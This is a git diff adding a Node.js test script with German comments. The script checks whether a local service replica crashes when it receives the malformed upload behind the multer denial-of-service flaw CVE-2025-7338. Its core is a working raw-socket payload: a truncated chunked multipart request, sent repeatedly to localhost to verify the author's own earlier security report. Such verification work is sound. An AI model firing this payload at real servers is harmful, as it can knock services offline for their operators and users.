diff --git a/pruef-multer-dos.mjs b/pruef-multer-dos.mjs new file mode 100644 index 00000000..dc4242eb --- /dev/null +++ b/pruef-multer-dos.mjs @@ -0,0 +1,174 @@ +/* ===================================================================== + Stürzt der Dienst bei dem multer-Fehler wirklich ab? + + WARUM DIESER TEST + + Am 27.08.2026 hatte ich gemeldet: multer 1.4.5-lts.2 hat eine + DoS-Lücke (CVE-2025-7338), ein fehlerhafter Upload beendet den + Prozess, nach fünf Malen gibt systemd auf -> Dienst dauerhaft tot. + + Beim Nacharbeiten fiel mir das Ende von index.js auf: + + process.on("uncaughtException", (fehler) => console.error(...)); + + Ein registrierter uncaughtException-Handler verhindert genau das + Beenden, das der CVE beschreibt. Damit steht meine eigene Meldung in + Frage -- und eine Sicherheitsmeldung, die dramatischer klingt als die + Wirklichkeit, ist genauso schädlich wie eine übersehene Lücke: Beim + nächsten Mal glaubt sie niemand mehr. + + Also gemessen statt vermutet. Der Test baut denselben Aufbau nach, + den der echte Dienst hat, schickt den bösartigen Request und schaut, + ob der Prozess danach noch antwortet. + ===================================================================== */ +import { spawn } from "node:child_process"; +import { writeFileSync, rmSync, mkdtempSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +const wurzel = mkdtempSync(join(tmpdir(), "multertest-")); +const PORT = 47311; + +/* Der Nachbau: dieselben multer-Einstellungen wie in index.js, und -- + entscheidend -- derselbe uncaughtException-Handler am Ende. */ +const server = ` +import express from "express"; +import multer from "multer"; +/* Jeder mögliche Weg wird laut protokolliert, damit sichtbar wird, + WELCHER genommen wird -- nicht nur, ob der Dienst überlebt. */ +process.on("uncaughtException", (f) => console.error("WEG=uncaughtException", f?.message || f)); +process.on("unhandledRejection", (g) => console.error("WEG=unhandledRejection", g?.message || g)); +const app = express(); +const up = multer({ + storage: multer.diskStorage({ + destination: (req, file, cb) => cb(null, ${JSON.stringify(wurzel).replace(/\\\\/g, "/")}), + filename: (req, file, cb) => cb(null, "x" + Date.now()), + }), + limits: { fileSize: 5 * 1024 * 1024 }, + fileFilter: (req, file, cb) => cb(null, ["image/jpeg","image/png","image/webp"].includes(file.mimetype)), +}); +app.post("/upload", (req, res) => { + up.single("image")(req, res, (err) => { + if (err) { console.error("WEG=callback-fehler", err?.code || err?.message); return res.status(400).json({ ok:false }); } + res.json({ ok: true }); + }); +}); +app.get("/lebt", (req, res) => res.json({ ok: true })); +app.use((err, req, res, next) => { + console.error("WEG=express-fehlerhandler", err?.code || err?.message); + res.status(500).json({ ok: false }); +}); +app.listen(${PORT}, () => console.log("BEREIT")); +`; +/* Die Datei MUSS neben den Paketen liegen: Node sucht node_modules von + der Datei aus aufwärts, nicht vom Arbeitsverzeichnis. In /tmp abgelegt + findet sie weder express noch multer und startet gar nicht erst. */ +const datei = join(process.cwd(), "server-internal", "tmp-dos-nachbau.mjs"); +writeFileSync(datei, server); + +const kind = spawn(process.execPath, [datei], { stdio: ["ignore", "pipe", "pipe"] }); +let ausgabe = ""; +kind.stdout.on("data", (d) => { ausgabe += d; }); +kind.stderr.on("data", (d) => { ausgabe += d; }); + +await new Promise((f) => { + const warte = setInterval(() => { if (ausgabe.includes("BEREIT")) { clearInterval(warte); f(); } }, 100); + setTimeout(() => { clearInterval(warte); f(); }, 8000); +}); + +const version = (await import("./server-internal/node_modules/multer/package.json", { with: { type: "json" } })).default.version; +console.log("\ngetestete multer-Fassung:", version); +console.log("laeuft der Nachbau? ", ausgabe.includes("BEREIT") ? "ja" : "NEIN — Abbruch"); +if (!ausgabe.includes("BEREIT")) { + console.log("Ausgabe:", ausgabe.slice(0, 400)); + kind.kill(); rmSync(wurzel, { recursive: true, force: true }); rmSync(datei, { force: true }); process.exitCode = 1; +} + +const lebt = async () => { + try { + const a = await fetch(`http://127.0.0.1:${PORT}/lebt`, { signal: AbortSignal.timeout(3000) }); + return a.ok; + } catch { return false; } +}; + +console.log("\n--- vorher ---"); +console.log(" Dienst antwortet:", await lebt() ? "ja" : "nein"); + +/* Der bösartige Request, diesmal RICHTIG. + + fetch() taugt dafür nicht: Es sendet immer einen vollständigen, in + sich stimmigen Request. Der Angriff aus CVE-2025-7338 besteht aber + genau darin, dass der Client MEHR Daten ankündigt (content-length), + als er sendet, und dann die Verbindung schließt. multer wartet auf + den Rest, das Formular endet unerwartet -> "Unexpected end of form". + + Das geht nur über einen rohen Socket, den man von Hand abschneidet. */ +import net from "node:net"; + +function boesartigerUpload(nr) { + return new Promise((fertig) => { + const grenze = "----angriff" + nr; + /* Ein gueltig BEGONNENER Multipart-Teil, der busboy zum Parsen bringt, + dann aber ohne Abschluss-Grenze endet. */ + const teil = + `--${grenze}\r\n` + + `Content-Disposition: form-data; name="image"; filename="a.png"\r\n` + + `Content-Type: image/png\r\n\r\n` + + `ANFANG-DER-DATEN-OHNE-ENDE`; + /* chunked statt content-length: Ich sende einen gueltigen Chunk und + schliesse dann die Verbindung, OHNE den abschliessenden 0-Chunk. + Fuer busboy sieht das aus wie ein Formular, das mitten im Lesen + abreisst -- genau der Ausloeser fuer "Unexpected end of form". + Anders als beim harten destroy() hat Node den Request hier bereits + an Express uebergeben, multer parst also schon. */ + const chunk = teil.length.toString(16) + "\r\n" + teil + "\r\n"; + const kopf = + `POST /upload HTTP/1.1\r\n` + + `Host: 127.0.0.1:${PORT}\r\n` + + `Content-Type: multipart/form-data; boundary=${grenze}\r\n` + + `Transfer-Encoding: chunked\r\n` + + `Connection: close\r\n\r\n`; + let erledigt = false; + const schluss = () => { if (!erledigt) { erledigt = true; setTimeout(fertig, 200); } }; + const s = net.connect(PORT, "127.0.0.1", () => { + s.write(kopf + chunk); + /* busboy Zeit zum Anlesen geben, dann Verbindung beenden -- der + 0-Abschluss-Chunk kommt nie. */ + setTimeout(() => s.end(), 300); + }); + s.on("error", () => {}); + s.on("close", schluss); + /* Harte Grenze: Ein haengender Request (busboy wartet ewig auf den + Rest) darf den Test nicht blockieren -- das Haengen IST bereits ein + Befund, nur eben "Ressourcenleck", nicht "Absturz". */ + setTimeout(() => { try { s.destroy(); } catch {} schluss(); }, 2500); + }); +} + +console.log("\n--- fehlerhafter Upload wird geschickt (roher Socket) ---"); +for (let i = 1; i <= 6; i++) { + await boesartigerUpload(i); + const l = await lebt(); + console.log(` Versuch ${i}: Dienst danach ${l ? "lebt" : "TOT"}`); + if (!l) break; +} + +console.log("\n--- Ergebnis ---"); +const amLeben = await lebt(); +console.log(amLeben + ? " Der Dienst lebt nach allen Versuchen. Absturz NICHT ausgeloest." + : " Der Dienst ist TOT. Die Lücke beendet den Prozess wie beschrieben."); +console.log("\n--- welchen Weg nahm der Fehler? ---"); +const wege = ausgabe.split("\n").filter((z) => z.includes("WEG=")).map((z) => z.trim()); +if (!wege.length) { + console.log(" KEINEN — der Angriff hat multer gar nicht erreicht. Test aussagelos."); +} else { + const zaehl = {}; + for (const w of wege) { const k = w.split(" ")[0]; zaehl[k] = (zaehl[k] || 0) + 1; } + for (const [k, n] of Object.entries(zaehl)) console.log(` ${k} (${n}x)`); + console.log(" Beispiel:", wege[0]); +} + +kind.kill(); +rmSync(wurzel, { recursive: true, force: true }); +rmSync(datei, { force: true });